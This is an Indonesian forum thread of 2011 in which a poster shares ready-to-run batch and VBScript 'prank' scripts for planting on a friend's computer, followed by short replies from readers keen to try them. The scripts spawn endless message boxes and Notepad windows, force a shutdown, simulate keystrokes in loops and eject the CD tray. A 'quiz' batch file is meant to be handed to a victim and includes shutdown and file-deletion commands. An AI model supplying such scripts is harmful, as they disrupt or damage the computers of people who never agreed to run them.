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Old 7th November 2011
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Default trik menjahili komputer teman

Trik ini bisa kita pakai, untuk menjahili computer seseorang gan. Yang harus agan siapin adalah Program Notepad. Dan copy script di bawah ke dalam notepad.

1.message yang nongol melulu
@ECHO off
:Begin
msg * muka agan jelek
msg * ngaca dulu gih
msg * hayo lo gan,cpu ente ane acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
GOTO BEGIN

save namafile.BAT

2.bikin shutdown+message
@echo off
msg * apaan sih lo
shutdown -s -c "Error! muka agan standar abis"
save namafile.BAT


3.Mainin Caps Lock button
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

save namafile.vbs

4.buka tutup CD/DVD
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

save namafile.vbs

5.bikin vbscript nongol melulu
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

save namafile.vbs


6.tekan tombol backspace melulu
MsgBox "kembali ke menu sebelumnya"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop

save namafile.vbs

7.otomatis ngetik "agan jelek banget sih" di notepad/word
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "agan jelek banget sih!!!"
loop

save namafile.vbs

8.buka notepad trus menerus
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

save namafile.BAT

9.otomatis buka notepad lalu ngetik apa yg agan mau
WScript.Sleep 1800
WScript.Sleep 100
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 10
WshShell.AppActivate "Notepad"
WScript.Sleep 50
WshShell.SendKeys "a"
WScript.Sleep 50
WshShell.SendKeys "gan "
WScript.Sleep 50
WshShell.SendKeys "ma"
WScript.Sleep 50
WshShell.SendKeys "ho"
WScript.Sleep 50
WshShell.SendKeys " ba"
WScript.Sleep 50
WshShell.SendKeys "ng"
WScript.Sleep 50
WshShell.SendKeys "et"
WScript.Sleep 50
WshShell.SendKeys " d"
WScript.Sleep 50
WshShell.SendKeys "e"
WScript.Sleep 50
WshShell.SendKeys " h"
WScript.Sleep 50
WshShell.SendKeys "!"
WScript.Sleep 50
WshShell.SendKeys "!! "

save namafile.vbs

scrip tambahan
@echo off
title quiz hari ini
:menu
cls
echo jika agan kena virus apa yang agan lakukan
pause
echo pilih yang mana:
echo 1. matiin computer
echo 2. format aja
echo 3. bingung ahh
set input=nothing
set /p input=Choice:
if %input%==1 shutdown -s -t 30
if %input%==2 del c:\xxx
if %input%==3 @ECHO off
msg * muka agan jelek sih
msg * ngaca dulu gih
msg * hayo lo gan,cpu ente ane acak2
msg * ud install ulang aja
msg * biar masalah nya kelar, hihihi
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

nah script diatas save jadi quiz.bat kasih ke temen..

ane ga tanggungjawap klo ada ape2 lho gan, sekedar share ajah...





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Old 7th November 2011
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bs ksh SS nya dl gk gan?
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wah kalaw ntu ane da tau ndan,..
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bolehcoba tuh gan tapi ada efek samping gak gan?
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untuk pengaruh registry pasti ada
untuk mengakali pelambatan OS windows
gunakan software registry cleaner
hargai ts
rate or
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wah, keren nih klo yg ngejahilin, klo dijahilin yg stres, lebih enak ada screen shotnya ndan
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efek nya apa ntar?
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udah biasa gan,cobain print screen ajah =b
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wah bisa ni d coba buat ngerjain temen,..
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